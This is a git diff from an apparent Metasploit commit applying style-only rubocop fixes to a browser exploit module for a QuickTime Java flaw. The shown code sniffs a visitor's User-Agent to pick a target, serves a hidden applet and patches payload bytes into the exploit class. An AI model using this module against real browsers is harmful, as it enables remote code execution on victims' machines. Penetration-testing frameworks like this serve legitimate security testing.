Mass rubocop changes

This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
@@ -57,14 +57,14 @@ class MetasploitModule < Msf::Exploit::Remote
'Quicktime 7 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Arch' => ARCH_PPC
}
],
[
'Quicktime 7 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
],
@@ -81,8 +81,8 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
# load the class data
path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class")
fd = File.open(path, "rb")
path = File.join(Msf::Config.data_directory, 'exploits', 'QTJavaExploit.class')
fd = File.open(path, 'rb')
@class_data = fd.read(fd.stat.size)
fd.close
@@ -98,14 +98,14 @@ class MetasploitModule < Msf::Exploit::Remote
if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target")
@targetcache[cli.peerhost][:target] = self.targets[1]
print_status('Choosing a Windows target')
@targetcache[cli.peerhost][:target] = targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target")
@targetcache[cli.peerhost][:target] = self.targets[2]
print_status('Choosing a Mac OS X PPC target')
@targetcache[cli.peerhost][:target] = targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target")
@targetcache[cli.peerhost][:target] = self.targets[3]
print_status('Choosing a Mac OS X x86 target')
@targetcache[cli.peerhost][:target] = targets[3]
end
end
@@ -121,33 +121,33 @@ class MetasploitModule < Msf::Exploit::Remote
# Request processing
if (not req.uri.match(/\.class$/i))
if (!req.uri.match(/\.class$/i))
# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
send_redirect(cli, get_resource() + '/', '')
if (!req.uri.match(%r{/$}))
send_redirect(cli, get_resource + '/', '')
return
end
# Display the applet loading HTML
print_status("Sending HTML")
send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
print_status('Sending HTML')
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
return
end
# Send the actual applet over
print_status("Sending applet")
print_status('Sending applet')
send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
# Handle the payload
handler(cli)
end
def generate_html()
def generate_html
return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
end
def generate_applet(cli, req)
def generate_applet(cli, _req)
this_target = nil
if (target.name =~ /Automatic/)
if (@targetcache[cli.peerhost][:target])
@@ -199,9 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
off -= 1
while (cnt < buff.length)
cnt += 1
while (!(data[off - 1] == 0x10 && data[off + 1] == 0x54))
off += 1
end
off += 1 until ((data[off - 1] == 0x10 && data[off + 1] == 0x54))
data[off] = buff[cnt - 1]
off += 1
end